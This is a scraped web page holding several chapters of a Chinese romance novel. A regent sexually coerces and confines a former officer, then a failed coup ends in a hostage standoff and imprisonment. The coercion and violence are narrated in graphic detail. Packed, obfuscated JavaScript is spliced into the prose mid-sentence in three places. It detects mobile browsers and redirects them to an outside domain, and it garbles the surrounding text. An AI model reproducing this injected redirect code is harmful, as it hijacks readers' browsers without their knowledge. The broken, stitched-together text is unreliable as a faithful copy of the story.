他不再是那个只能等待“良侍”命运的玩物!他有一身武艺,有王爷亲手教导的兵法韬略。值此国难当头,正是男儿挺身而出、血洒疆场之时,这不仅是实现他“顶天立地”抱负的唯一机会,更是他摆脱眼下屈辱困境的唯一出路! 若是一个月前,此事,他想都不敢想。 可自从那日,宇文尚在酒后吐露了那些心底的秘密之后,褚良的心理也扒开了一条透光的缝隙。 他深知宇文尚性格偏执,手段狠辣,但同时,他从未怀疑过宇文尚作为君主的雄才大略和那颗想要富国强兵、平定四方的决心。他想起他们曾无数次谈论的治国安邦之道。他们讨论如何强军、如何安民时,褚良能感受到那份共鸣。 而此刻,强敌压境,国家危难,他相信宇文尚必然要御驾亲征或坐镇中枢运筹帷幄。那么,他作为曾经的副都统,作为王爷一手培养的“利刃”,请缨出征,为国效力,岂不是顺理成章?岂不是践行两人共同的理想? 这份带着热血与憧憬的冲动,压过了对宇文尚的恐惧。 褚良的心剧烈地跳动起来,眼中重新燃起许久未见的、属于战士的光芒。他反复推敲着措辞,等待着宇文尚再次踏足静园的时机。 宇文尚是在一个深夜,带着一身尘嚣和浓重的戾气回来的。 北疆的军报和朝堂的掣肘让他心力交瘁,眼底布满血丝。 他径直走到榻边,习惯性地伸手要将褚良捞入怀中。 “王爷!”褚良却猛地坐起身,避开他的手,深吸一口气,挺直了背脊。 他直视着宇文尚那双布满疲惫与烦躁的墨紫色眼眸,没有去管对方神情中的不耐,用尽全身的力气,清晰而坚定地说道, “卑职听闻北疆战事吃紧!如今,我的背伤已痊愈,愿请缨随军出征,效命疆场!求王爷恩准!” 与褚良设想的不同,暖阁内瞬间死寂。 宇文尚伸出的手僵在半空。 他脸上的疲惫已被一种难以置信的错愕取代,随即,脸色变得阴沉,周身散发出的低气压让暖阁内的烛火都仿佛黯淡了几分。 “你说什么?”宇文尚的声音低沉得可怕,每一个字都像是从齿缝里挤出来的冰渣。 褚良被他眼中那瞬间爆发的暴戾惊得心颤,但箭在弦上,他只能硬着头皮重复,“卑职……愿赴北疆,杀敌报国!” “杀敌报国?”宇文尚猛地爆发出一声短促而冰冷的嗤笑,如同夜枭啼鸣,充满了极致的讽刺和恼怒。 他一步上前,高大的身影带着毁灭性的压迫感,狠狠攫住褚良的下巴,力道之大几乎要捏碎骨头。 他强迫褚良抬起头,对上自己那双燃烧着熊熊怒火的眼睛! “好一个忠肝义胆!好一个杀敌报国!”宇文尚的声音陡然拔高,带着雷霆般的震怒和一种被深深刺痛的疯狂, “褚良!你当孤是傻子吗?!想借着战事逃离孤?!不想给孤当‘良侍’?!还是说……”他眼中闪过一丝刻毒的猜忌,“你有别的心思?” “不!王爷!卑职绝无此意!”褚良被他眼中的疯狂和污蔑刺得心胆俱裂,急切地辩解,“卑职只想……” “闭嘴!”宇文尚厉声咆哮,彻底打断他。 所有的疲惫、压力、被朝堂掣肘的怒火,此刻找到了最直接的宣泄口,尽数倾泻在眼前这个竟敢妄想逃离他掌控的“所有物”身上! “北疆?战场?你也配?!”宇文尚的声音因暴怒而扭曲,带着毫不掩饰的轻蔑,“刀剑无眼,就凭你粗鄙的武艺,还有你这幅身子,是想去送死,还是想去给狄戎人当玩物?!孤告诉你,想都别想!” 他猛地将褚良狠狠掼倒在锦榻之上!褚良猝不及防,后背撞在坚实的床板上,一阵闷痛。 “你给孤听清楚!” 宇文尚高大的身躯如同山岳般压了下来,带着不容抗拒的力量,狠狠压制住褚良所有的挣扎。那双燃烧着怒火的眼眸死死锁定着褚良惊恐苍白的脸,一字一句,如同最冰冷的枷锁,宣告着他的所有权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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然而,这迟来的“温柔”,却比任何酷刑都更让褚良感到刺骨的寒冷和绝望。 他静静地躺在那里,身体像被拆散重组过一般疼痛,可面对疼痛,他甚至已经麻木。 此刻,他的心已沉入一片死寂的冰海。 最后一丝希望的火苗,被宇文尚的暴怒、羞辱和这强加的占有彻底碾灭。 请缨出征,报效家国?那只是他可笑的一厢情愿。 在宇文尚眼里,他从来不是什么副都统,不是什么有抱负的男儿,甚至不是一个完整的人。 他只是一个供其泄欲、满足其病态占有欲的玩物,一个连选择战死沙场的资格都没有的……禁脔。 所有的敬仰,所有残存的希冀,都在这一夜被撕得粉碎。取而代之的,是一种冰冷的、深入骨髓的恨意,如同毒花的种子,悄然扎根在褚良死寂的心田深处。 他看着头顶绣着繁复缠枝莲纹的暖阁帐顶,那精美的图案此刻扭曲如牢笼。 窗外的夜风呜咽着,仿佛在为谁哀鸣。 褚良闭上眼,将最后一点微光也锁死在黑暗之中。 16. 第 16 章 北疆的捷报如同甘霖,暂时浇熄了京城压抑的烽烟。 宇文尚运筹帷幄,以奇兵断敌粮道,狄戎大军被迫后撤百里,雁门关之围暂解。 消息传回,朝野振奋,宇文尚紧绷多日的眉宇终于舒展,那股睥睨天下的意气风发重新回到他身上。 而这股舒畅,也被他带回了静园,倾泻在了褚良身上。 胜利的喜悦混合着被压抑许久的欲望,宇文尚踏足静园的频率骤然增加。 每一次来,他身上的威压都带着一种志得意满的侵略性,看向褚良的目光,也更不加掩饰,甚至在仆人面前,也会对唤他的昵称,做出亲吻,搂抱的亲昵动作。 每每如此,褚良都觉得眼前发黑,无法想象,这些仆人在背后会怎么议论他,那些粗鄙之言,他在军中没少听,不曾想,如今主角竟会成为他自己。 褚良身体恢复后,哥儿身体的特质,在宇文尚频繁的“宠幸”下显露无遗。 宇文尚惊喜地发现,他的“良儿”简直是为他而生的恩物。 初次承欢的痛楚似乎并未在褚良身上留下太多阴影,反而像开启了一道隐秘的闸门。 只要宇文尚稍加撩拨——一个强势的吻,一次深入的拥抱,甚至只是指尖带着暗示的流连——褚良的身体便会不受控制地给出最诚实的反应。 那清亮微黏的玉津如同甘泉,无声地浸润着幽秘之地,带来令人心旌摇曳的湿滑□□,将宇文尚的每一次征伐都推上极乐的巅峰。 这种生理上的极致契合,让他食髓知味,欲罢不能。 “良儿……”宇文尚喘息着,带着浓重的情欲,啃噬着褚良泛红的耳垂,感受着身下人因他的动作而颤栗、紧缩,玉津淋漓, “你……生来就是勾引孤的妖精……” 他享受着褚良在情潮中那迷离又屈辱的眼神,享受着这具身体对他最原始的臣服。 褚良却只能在这灭顶的快感与无尽的羞耻中沉沦。 身体的反应背叛了他的意志,每一次玉津的分泌都像是在无声地宣告着他的堕落和低贱。他痛恨这具不受控制的身体,痛恨自己在宇文尚身下那破碎的呻吟和迎合,更痛恨宇文尚眼中那将他视为尤物的、餍足而轻蔑的光芒。 情事过后,巨大的空虚和自我厌弃会将他彻底淹没,他只能蜷缩在锦被中,背对宇文尚,紧闭双眼。 强迫自己回想那些在山野间狩猎的自由生活,来麻痹自己。 一日午后,宇文尚难得没有立刻纠缠。 他斜倚在窗边的软榻上,闭目养神,眉宇间带着一丝大战初歇后的松弛。 褚良则坐在稍远的书案旁,面前摊开的并非宇文尚让他看的诗词歌赋,而是一卷早已被他翻得卷边的《武备纪要》。 这是他偷偷藏下的,仅存的一点念想。指尖划过微黄的纸张,看着上面熟悉的刀兵阵图,心中那被情欲和羞辱暂时浇灭的火焰,又隐隐有复燃的迹象。 战场,杀敌……这些字眼依旧在他心底深处灼烧。 然而,这细微的动作和专注的神情,并未逃过宇文尚看似闭阖的眼睛。 “在看什么?”宇文尚的声音突然响起,带着一丝慵懒的探究。 褚良一惊,下意识地想合上书卷,却已来不及。 宇文尚不知何时已无声无息地走到他身后,修长有力的手指按住了他欲盖弥彰的手,目光落在那卷兵书上。 暖阁内的气氛瞬间凝滞。 宇文尚脸上的慵懒悄然褪去,取而代之的是一种被冒犯的隐隐怒气。 他抽走那卷书,指尖在泛黄的纸页上划过,嘴角勾起一抹极尽讽刺的弧度,“《武备纪要》?呵,孤的好良儿,你这颗心……还是不死啊?” 褚良的心沉入谷底,脸色瞬间苍白,“王爷……卑职只是……” “只是什么?” 宇文尚猛地打断他,声音陡然转厉,“还在做着上阵杀敌、建功立业的白日梦?!” 他一把攥住褚良的手腕,将他从椅子上粗暴地拽起,狠狠按在书案上!书卷笔墨哗啦散落一地。 宇文尚高大的身躯带着骇人的压迫感笼罩下来,墨紫色的眼眸燃烧着怒火,死死盯着褚良惊恐的眼睛, “孤是不是告诉过你?你这身子,生来就是给男人用的!离了孤,你连路都走不稳!还想上战场?去给狄戎人当军妓吗?!” 刻毒的羞辱如同淬毒的鞭子,狠狠抽在褚良的心上。 他浑身颤抖,屈辱的泪水在眼眶中打转。 宇文尚看着他这副模样,怒火更炽,一把夺过那卷《武备纪要》,看也不看,径直走到暖阁中央燃烧的鎏金炭盆边! “不——!”褚良发出一声嘶喊,挣扎着想去抢夺。 “给孤安分点!”宇文尚厉喝一声,反手将他狠狠推倒在地。 褚良跌坐在地,只能眼睁睁看着那承载着他最后一点念想和尊严的书卷,被宇文尚毫不犹豫地投入了熊熊燃烧的炭火之中! 橘红色的火焰瞬间舔舐上泛黄的纸张,贪婪地吞噬着上面的文字和阵图。火光跳跃,映照着宇文尚俊美却冰冷无情的侧脸,也映照着褚良空洞的眼神。 “看清楚了?”宇文尚的声音如同寒冰,在书卷化为灰烬的噼啪声中响起,带着一种掌控的快意, “你这辈子,唯一该想、该做的,就是如何用你这副身子,好好伺候孤,如何早日给孤生下世子!而不是这些没用的东西!” 他居高临下地俯视着瘫软在地、面如死灰的褚良,一字一句,如同最沉重的枷锁,彻底封死了他所有可能的出路, “收起你不该有的心思!安心做孤的哥儿!这才是你的命!” 宇文尚的怒火随着那卷兵书的焚毁一并消散了。 他依旧频繁地来静园,沉浸在褚良的身体带给他的极致欢愉中,仿佛那场焚书的插曲从未发生。 朝堂上,因北疆战事缓解,那些被压制的反对声浪也暂时偃旗息鼓,呈现出一派虚假的平静。 宇文尚对此似乎颇为满意,警惕之心稍有松懈。 来静园时,随行侍卫和仆从也减至最低,只带两三名绝对心腹,图个清净自在。 然而,这份“清净”,却成了致命的破绽。 这一夜,宇文尚照例宿在静园暖阁。 餍足之后,他搂着疲惫不堪、昏昏欲睡的褚良,呼吸平稳。 窗外月色被浓云遮蔽,万籁俱寂,只有风声呜咽。 突然! “杀——!!!” “保护王爷!有刺客——!!!” 凄厉的嘶吼和兵刃激烈交击的刺耳声响,如同惊雷般毫无征兆地撕裂了静园的宁静! 厮杀声、惨叫声由远及近,迅速逼近暖阁!火光在窗外猛烈跳动,映得窗纸一片血红! 宇文尚猛地惊醒,墨紫色的眼眸在黑暗中瞬间爆射出骇人的精光!他反应快到极致,一把掀开锦被,赤足踏地,顺手抄起了榻边悬挂的佩剑! 褚良也被这突如其来的变故彻底惊醒,心脏狂跳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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王德全不知何时也已赶到,脸色惨白如纸,挡在宇文尚侧翼。 褚良则悄无声息的蜷到了床帐黑暗的角落里。 亲眼看着宇文尚那孤傲却陷入重围的身影,周围千钧一发,一触即发,他的头脑却变得前所未有的清明和冷静。 宇文尚……今夜必死无疑! 这个念头清晰地浮现在脑海。 一股寒意席卷全身,随之而来的,竟是一种奇异的、即将解脱的……轻松? 就在这念头升起的瞬间,他眼角的余光瞥到了散落在榻边矮几上的几枚飞镖——那是宇文尚“恩赐”给他解闷的,飞镖都是开过刃的,尖锐、冰冷、闪着幽光。 几乎是本能的,褚良的手悄然探出,紧紧攥住了一枚飞镖! 机会! 一个逃出生天的机会!一个摆脱这屈辱牢笼、甚至……彻底终结一切的机会! 他攥着那枚小小的飞镖,指节因用力而发白。他不知道自己接下来会做什么——是趁乱将这致命的凶器刺入宇文尚的后心,彻底了结这扭曲的关系? 还是在混乱中寻找一线生机,逃离这个地狱?亦或是……那深埋在心底、连他自己都不愿承认的、对宇文尚那复杂难言的情愫,会驱使他在最后关头做点什么? 他不知道。 他只知道,这一夜,这暖阁之中,必将有人死去。 而他,也将迎来命运的剧变! 暖阁外,叛军的喊杀声震耳欲聋,刀锋映着跳跃的火光,如同死神的獠牙。 宇文尚握紧了剑柄,墨紫色的眼眸深处,是滔天的怒火和凛然的决绝。 褚良攥着飞镖,蜷缩在榻上,眼神闪烁如星。 小皇帝脸上难抑兴奋的狂妄,让周围的空气仿佛凝固成了实质,充满了血腥味和毁灭的气息。 17. 第 17 章 暖阁内,气氛紧张到了极点,宇文尚的性命危如累卵,但于褚良而言,却是他自从被关入静园以来,一直在隐忍等待的千载良机。 这些日子的折辱折磨,让他生不如死,但他深知宇文尚的权势滔天,硬拼无异于以卵击石,自寻死路。他像一只蛰伏在阴影中的猎豹,将所有的痛苦、屈辱、不甘都深深压在心底,强迫自己扮演着温顺的“良儿”。 他在宇文尚面前收敛锋芒,甚至在对方狎昵时也努力克制身体的抗拒,只为换取一丝喘息的空间。 他一直在等待。 等待一个变数。一个足以打破这令人窒息牢笼的契机。他敏锐地察觉到朝堂上日益尖锐的矛盾,从宇文尚透露的信息里,他预感到,这对叔侄之间,迟早会有一场你死我活的冲突。 不管这冲突的结果如何,混乱,就是他唯一的机会!他只需要在混乱降临时,抓住那一线生机,逃离这金丝囚笼,便能远走高飞! 他没想到,这期盼已久的骤变,会来得如此突然,如此猛烈,而且就发生在他眼前! 暖阁内,时间仿佛被冻结在宇文珏那声尖利的“诛杀国贼”中。 火光透过门窗缝隙,在墙壁上投下叛军晃动的、如同鬼魅般的巨大阴影。空气里弥漫着浓重的血腥味和死亡的气息。 宇文尚持剑立于榻前,如同一尊冰冷的玉雕。墨紫色的眼眸深处,震惊与狂怒交织,最终化为一片深不见底的寒潭和凛冽如实质的杀意。 他并未看门口叫嚣的小皇帝,而是目光如刀锋般扫过那些簇拥着宇文珏、身着禁卫甲胄却眼神凶狠的武将。 “宇文闯?王猛?” 宇文尚的声音不高,却清晰地穿透了外面的喊杀声,带着一种洞悉一切的冰冷嘲讽, “孤道是谁给了陛下这般胆气。原来是你们这些被孤拔了爪牙的丧家之犬!怎么?被赶出禁军,怀恨在心,就敢跟着这黄口小儿来送死?” 被点名的两个叛将脸色微变,眼中闪过一丝忌惮,但随即被更深的疯狂取代。 “宇文尚!死到临头还嘴硬!”宇文闯厉声喝道,“今日就是你的死期!” “杀了他!”宇文珏尖声下令,稚嫩的声音因激动而变调,“谁能取宇文尚首级,封万户侯!” 重赏之下,叛军眼中凶光大盛!数名悍勇的叛将不再犹豫,怒吼着挺起刀枪,如同嗜血的豺狼,猛地扑向暖阁中央那孤傲的身影!侍卫长和王德全拼死迎上,瞬间被卷入混战! 刀光剑影,血肉横飞!暖阁内狭小的空间,瞬间变成了修罗屠场! 宇文尚动了! 快!快得如同风影! 他手中的长剑化作一道致命的寒光,精准地格开最先刺到身前的长枪,手腕一抖,剑尖如同毒蛇吐信,闪电般划过一名叛将的咽喉!鲜血狂喷! 他的动作毫不停滞,旋身避开侧面劈来的刀锋,长剑顺势反撩,狠狠贯入另一名叛将的肋下!惨叫声与骨骼碎裂声同时响起! 眨眼间,两名扑在最前的悍将已然毙命!宇文尚出手之狠辣精准,震慑全场!他玄色的寝衣被溅上点点猩红,墨紫色的长发在激烈的动作中狂舞,俊美的脸庞如同覆了一层寒霜,眼神锐利得能刺穿人心! 这一刻,他不再是静园中沉溺的恩主,而是从尸山血海中走出的修罗杀神! “保护陛下!” 叛军惊骇,攻势稍滞,分出更多人将宇文珏护在身后。 暖阁内陷入短暂的僵持。 宇文尚以一敌众,气势却丝毫不落下风。侍卫长和王德全浴血苦战,勉强护住侧翼。 但叛军人多势众,暖阁门已被堵死,外面更有层层包围,情势依旧危如累卵! 就在这一片混乱中,褚良已悄无声息地穿戴整齐,手持飞镖,隐在床榻的阴影里。他紧紧盯着战局,心跳如擂鼓,却极力保持着头脑的清明。他在等待,等待那个能让他趁乱脱身的缝隙! 就在这时,一名悍将拼着硬挨侍卫长一刀,猛地掷出一柄淬毒的短匕,直射宇文尚面门!宇文尚挥剑格挡,“铛”的一声脆响,火星四溅! 就在这电光火石的分神瞬间,另一名叛将的长枪如同毒龙出洞,带着凌厉的破空声,直刺宇文尚因格挡而露出的肋下空门!时机把握妙到毫巅!宇文尚瞳孔骤缩,回防已然不及! 千钧一发! 一道寒光如同流星般从床榻阴影中激射而出!精准无比地射入了那名偷袭叛将的咽喉! “呃!”叛将的攻势戛然而止,眼中带着难以置信的惊愕,轰然倒地! 是褚良! 他出手了,不是刺杀宇文尚,而是救他! 在那生死一瞬,他遵从了自己最本能的判断——宇文尚若死,这暖阁内所有人都将成为陪葬,他需要宇文尚活着制造更大的混乱!而且,内心深处那丝被强行压下的、对宇文尚安危的本能关切,也在这一刻悄然浮现。 宇文尚猛地回头,看向阴影中出手的褚良,墨紫色的眼眸中瞬间翻涌起极其复杂的情绪——震惊、悸动,但随即都被更深的暴怒取代! “蠢货!谁让你出来的!滚回去!”宇文尚厉声咆哮,语气中充满了对褚良擅自行动的狂躁和担忧! 褚良却充耳不闻,如同矫健的猎豹,猛地从阴影中窜出。 他动作迅捷地俯身,一把抄起地上叛将掉落的长刀。刀身入手沉重,他握紧刀柄,一个箭步冲到宇文尚身侧,与他背靠背而立,眼神锐利如鹰,警惕地扫视着周围的敌人,周身散发出一种久违的、属于战士的凛冽气势! “王爷,当心左翼!” 褚良的声音沉稳有力,充满果敢刚毅。 宇文尚被他这突如其来的举动和眼中迸发出的、久违的锐利光芒狠狠一震! 那挺立的身姿,那握刀的决绝,仿佛让他看到了围场初遇时那个一箭射杀猛虎的年轻士卒! 形势危急,不容他多想,更不容他再呵斥。他只能压下心头的狂躁,低喝一声,“护好你自己!” 随即,两人如同默契的战友,刀剑并举,共同抵御着如潮水般涌上的叛军。 褚良的刀法虽不如宇文尚精妙狠辣,却胜在悍勇沉稳,大开大阖,弥补了宇文尚因分心而可能出现的疏漏! 就在两人合力抵挡,情势依旧胶着之际—— 暖阁外,震耳欲聋的喊杀声陡然一变,变成了更加激烈、却明显占据上风的王府侍卫的怒吼声! “逆贼受死!” “保护王爷!杀光叛军!” 沉重的脚步声如同雷霆,迅速逼近暖阁。 火光映照下,只见大批身着王府精锐甲胄、装备精良的侍卫,如同钢铁洪流般冲破叛军的外围防线,一路势如破竹,直杀到暖阁门口。 为首将领一声令下,王府侍卫如同虎入羊群,瞬间将残余的叛军分割包围。 形势瞬间逆转! 暖阁内,宇文珏和他身边仅存的几个心腹叛将脸色骤变! 看着门外如狼似虎、源源不断涌入的王府精锐,看着宇文尚和褚良并肩而立、稳如磐石的身影,宇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16356384|183634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 文珏眼中那疯狂的得意和狂喜瞬间被巨大的惊骇取代,他精心策划的孤注一掷,竟在即将成功的最后一刻,被无情碾碎! “不……不可能……”宇文珏失魂落魄地喃喃。 宇文尚持剑而立,俊美的脸上笼罩着一层寒霜,嘴角却勾起一抹冰冷的弧度,声音清晰地穿透了厮杀声, “宇文珏,你以为你那些暗中串联的把戏,瞒得过孤的眼睛?孤不过是将计就计,陪你演了一出‘请君入瓮’的好戏罢了!就凭你手下这些乌合之众,也想撼动孤?不自量力!” 宇文珏浑身剧震,心内涌上巨大的恐惧和被戏耍的屈辱。 他猛地抬起头,眼中爆发出极致的怨毒和疯狂,指着宇文尚,声音因绝望而尖利扭曲,带着哭腔嘶喊起来, “宇文尚!你这个乱臣贼子!弑君篡位的畜生!你杀了我父皇!你杀了自己的亲哥哥!就为了这摄政王的位置!你囚禁我!把我当成你掌心的傀儡!动辄打杀我的亲信!我受够了!我受够了你的淫威!今日就算功败垂成,我也要当着天下人的面,揭穿你这伪君子的真面目!你根本不配摄政!你该下地狱!” “弑兄篡位”?!! 这石破天惊的指控如同惊雷,狠狠劈入褚良的脑海!他握刀的手猛地一颤,震惊地看向宇文尚冷硬的侧脸,又看向状若疯魔、涕泪横流的小皇帝。 宫廷秘辛,血海深仇? 褚良从未想过,宇文尚与小皇帝之间,竟还隔着如此深重的血债!联想到自己被迫承受的羞辱和禁锢,一股强烈的、对小皇帝的同情和同病相怜之感,不受控制地涌上褚良心头。 就在褚良心神剧震、被这惊天指控分散了注意力的刹那…… 一个一直潜伏在宇文珏身侧的叛军头目,敏锐地捕捉到了这稍纵即逝的机会。 他猛地暴起,动作快如鬼影,直扑褚良! 褚良察觉到风声,下意识挥刀格挡,却因心神失守慢了一瞬。那叛军头目竟不顾自身安危,硬生生用肩膀撞开褚良的刀锋,另一只手如同铁钳般狠狠扣住了褚良持刀的手腕。 同时,一把冰冷的匕首瞬间抵在了褚良的咽喉之上! “都别动!否则我杀了他!”叛军头目嘶声厉吼,将褚良死死勒在身前,锋利的刀锋紧贴着他的颈动脉! “良儿!” 宇文尚脸色骤变! 他挥剑欲救,却因褚良被死死扣住要害而投鼠忌器。 暖阁内外,所有王府侍卫的动作瞬间僵住,无数刀锋指向挟持褚良的叛军头目和宇文珏等人,却无人敢轻举妄动。 宇文珏看到这一幕,如同抓住了最后一根救命稻草,眼中爆发出绝处逢生的疯狂光芒! “宇文尚!让你的人放下武器!退出去!否则,我让他血溅当场!” 宇文珏尖声叫道,声音因激动而颤抖。 宇文尚死死盯着被刀锋抵住咽喉、脸色苍白的褚良,又看向如同抓住浮木般狂喜的宇文珏。 他握剑的手因用力而骨节发白,墨紫色的眼眸深处翻涌着滔天的怒火、冰冷的杀意,以及……前所未有的……慌乱。 暖阁内,空气仿佛凝固成了寒冰。 剑拔弩张,生死悬于一线。 宇文尚的援军已将此地重重包围,胜利唾手可得。 然而,褚良咽喉上那抹冰冷的寒光,却像一道无形的枷锁,死死扼住了这位杀伐决断的摄政王。 “退后!” 宇文尚的声音如同从牙缝里挤出来,“放他们……出暖阁!” 18. 第 18 章 冰冷的刀锋紧贴着颈动脉,褚良的每一次呼吸都仿佛在亲吻死神。 暖阁内死寂一片,只有宇文珏因激动而粗重的喘息声,和宇文尚那压抑着滔天怒火的沉重呼吸。 “退后!放我们出去!不然我立刻割断他的喉咙!”挟持褚良的叛军头目嘶声厉吼,刀锋又压紧了一分,细微的刺痛感传来,少许温热的液体顺着褚良的脖颈滑落。 宇文尚墨紫色的眼眸死死盯着褚良颈侧那抹刺眼的红,瞳孔深处翻涌着风暴。 褚良苍白的脸色、紧抿的唇线,那双透着紧张的眼睛……这一切都像无形的针,狠狠扎在他引以为傲的理智上。 他从未想过,自己竟会因为一个身份低微的侍从被如此掣肘! “宇文尚!听到没有!让你的人滚开!” 宇文珏如同抓住救命稻草的溺水者,声音尖利地催促,眼中闪烁着孤注一掷的疯狂。 宇文尚牙关紧咬,额角青筋突突直跳。 他目光如刀,扫过宇文珏那张因恐惧而扭曲的脸,又落回褚良身上。 片刻的、令人窒息的沉默后,他猛地抬起手,声音如同淬了冰: “退后!放他们出暖阁!” 王府侍卫们虽心有不甘,却无人敢违逆宇文尚的命令,皆如同潮水般缓缓向两侧退开,让出了一条通往暖阁外的通道。 “走!”叛军头目勒紧褚良,推搡着他,在宇文珏和其他几个残存叛将的簇拥下,一步步挪出暖阁。 寒冷的夜风裹挟着血腥味扑面而来。 外面庭院里,王府的援军已彻底控制局面,无数火把将四周照得亮如白昼,刀枪如林,指向这最后几个困兽。 宇文尚紧随其后走出暖阁,站在台阶之上,玄色的寝衣在夜风中猎猎作响,眼神如同噬人的凶兽,死死锁定着被刀挟持的褚良和被护在中间的宇文珏。 “宇文尚!让你的人退出静园!” 宇文珏躲在褚良身后,声音带着颤抖,却依旧强硬。 “放了他。”宇文尚的声音低沉,却带着可怖的威压, “孤给你留个全尸。” “休想!”宇文珏厉声道,“放我们离开京城!否则,玉石俱焚!” 他知道全尸的承诺毫无意义。 僵持。 每一秒都被无限拉长。王府侍卫的包围圈如同铁桶,宇文珏等人插翅难飞。 叛军头目的刀在褚良脖子上压得更紧,血珠渗出更多。褚良能感觉到身后挟持者的紧张和宇文珏的绝望。 就在这令人窒息的僵持中,褚良强压下心头的恐惧,用只有身后宇文珏和叛军头目能听到的、极其微弱的声音说道,“陛下……静园西侧……废弃马厩的草料堆后……有条通往外河渠的密道……平日用石板压着,只有我和王爷的亲卫知道……” 宇文珏浑身一震,眼中瞬间爆发出难以置信的狂喜光芒! 他死死盯着褚良的后脑勺,仿佛在确认这消息的真伪。这是绝境中唯一的生路! “宇文尚!”宇文珏猛地抬头,声音带着一种奇异的亢奋,“让你的人退到前院去!否则,我立刻杀了他!” 宇文尚眼神冰冷,没有立刻回应。 他在判断,在权衡。 褚良的生死,宇文珏的逃亡……巨大的压力让他太阳穴突突直跳。 “王爷……”王德全在他身后低声道,声音充满了忧虑。 宇文尚闭了闭眼,再睁开时,眼中只剩下决断,“退至前院!” 初听命令,王府侍卫都有些犹豫,这是千载难逢的良机啊! 可王爷的命令强硬,他们只能缓缓后退,让出了通往西侧马厩方向的路径。 “快走!”宇文珏对叛军头目低吼。 一行人挟持着褚良,如同惊弓之鸟,跌跌撞撞地冲向黑暗中的废弃马厩。 马厩内弥漫着陈腐的草料味和尘土的气息。 借着远处火把微弱的光,褚良艰难地指出草料堆后一块不起眼的石板。叛军头目粗暴地推开褚良,和另外两人合力,果然掀开了沉重的石板,露出了下方黑黢黢的、散发着潮湿水汽的洞口! “哈哈!天不亡我!”宇文珏狂喜,迫不及待地就要钻入洞口。 “陛下!”褚良急切地低声道,“密道已指出,请放了我!” 宇文珏钻洞的动作顿住,他回过头,在洞口幽暗的光线下,那张尚显稚嫩的脸庞上,此刻却布满了与年龄极不相符的阴狠毒辣! 他死死盯着褚良,嘴角勾起一抹残忍的弧度, “放了你?褚良,你以为朕会相信你?谁知道你是不是宇文尚派来引朕入瓮的奸细?就算不是……你知道了朕的逃路,朕岂能留你活口?” 他眼中凶光一闪,对叛军头目厉声道,“杀了他!” 叛军头目眼中寒光爆射,挥刀便向褚良砍去,目标竟是他的脖颈! 褚良早有防备! 在宇文珏话音未落之际,他已猛地向后急退,同时右手本能地抬起格挡! “噗嗤——!” 冰冷的刀锋狠狠砍在褚良抬起的左臂上!剧痛瞬间席卷全身!鲜血如同泉涌般喷溅而出! 褚良闷哼一声,踉跄着撞在身后的草料堆上,脸色瞬间惨白如纸! “废物!砍死他!”宇文珏见一击未中要害,气急败坏地尖叫。 “陛下!来不及了!追兵快到了!”另一个叛将惊恐地喊道。远处已传来王府侍卫搜索逼近的呼喝声! 宇文珏恨恨地瞪了褚良一眼,咬牙道,“走!” 他不再犹豫,率先钻入密道。叛军头目和最后两名叛将也紧随其后,迅速消失在黑暗中,石板被匆忙地拖回原位,只留下缝隙。 褚良靠在冰冷的草料堆上,剧烈的疼痛让他眼前阵阵发黑。 鲜血染红了他的衣袖,顺着指尖滴落在肮脏的地面上。他看着那紧闭的石板缝隙,听着外面越来越近的脚步声,心中涌上一片深沉死寂和荒谬的悲凉。 他同情宇文珏的遭遇,理解他的恨意,甚至冒险为他指出了生路。 换来的,却是毫不留情的背叛和致命的一刀! 这宇文家的叔侄……一个将他视作玩物,肆意折辱;一个将他视为草芥,用完即弃! 这天下,竟无他褚良半分容身之处…… “在这里!” “他受伤了!” 王府侍卫冲进马厩,火把的光亮驱散了黑暗,也照亮了褚良惨白的脸和鲜血淋漓的左臂。 宇文尚高大的身影紧接着出现在门口。 他一眼就看到了靠在草料堆上、半边身子被血染透的褚良,以及那明显被移动过的石板。他脸色铁青,几步上前,目光如利刃般刺向褚良,声音因极致的愤怒而微微发颤, “他……从密道跑了?” 虽是问句,答案已昭然若揭。 褚良抬起头,迎上宇文尚那燃烧着熊熊怒火和猜忌的眼神。 他没有回答,只是疲惫地闭上了眼睛。 解释?毫无意义。 “王爷!这叛奴私通逆贼,放走宇文珏,罪该万死!”一名侍卫统领怒声道,看向褚良的目光充满了鄙夷和杀意。 “是啊王爷!此獠不除,后患无穷!” “请王爷下令,将此叛奴就地正法!” 周围响起一片喊杀之声。 宇文尚死死盯着褚良紧闭的双眼和那触目惊心的伤口,胸中翻腾如江。 他猛地一挥手, “都闭嘴!把他押下去!关进死牢最底层!没有孤的命令,任何人不得探视!” 他的声音如同寒冰,侍卫们不敢再多言,粗暴地架起因失血和剧痛而濒临晕厥的褚良,拖出了马厩。 褚良没有挣扎,任由他们拖拽,只在经过宇文尚身边时,掀起眼皮,看了他一眼。 那眼神是万念俱灰,却又仿佛在无声地诉说着什么。 宇文尚被那眼神刺得心头莫名一悸,一股无名火更炽! 他猛地转身,对着王德全和影卫首领厉声道, “查!给孤查清楚宇文珏的余党!封锁所有出城的路!掘地三尺,也要把他给孤揪出来!” “还有……那条密道,彻底封死!所有知道密道的人……处理干净!” 死牢最底层。 这里是真正的幽冥地狱。比任何地方都更阴冷、更潮湿、更绝望。 空气污浊得令人窒息,只有高处一个巴掌大的铁窗透进一丝微弱的光线,映照着墙壁上渗出的水珠和斑驳的苔痕。 褚良被粗暴地扔在铺着薄薄一层发霉稻草的石板上。 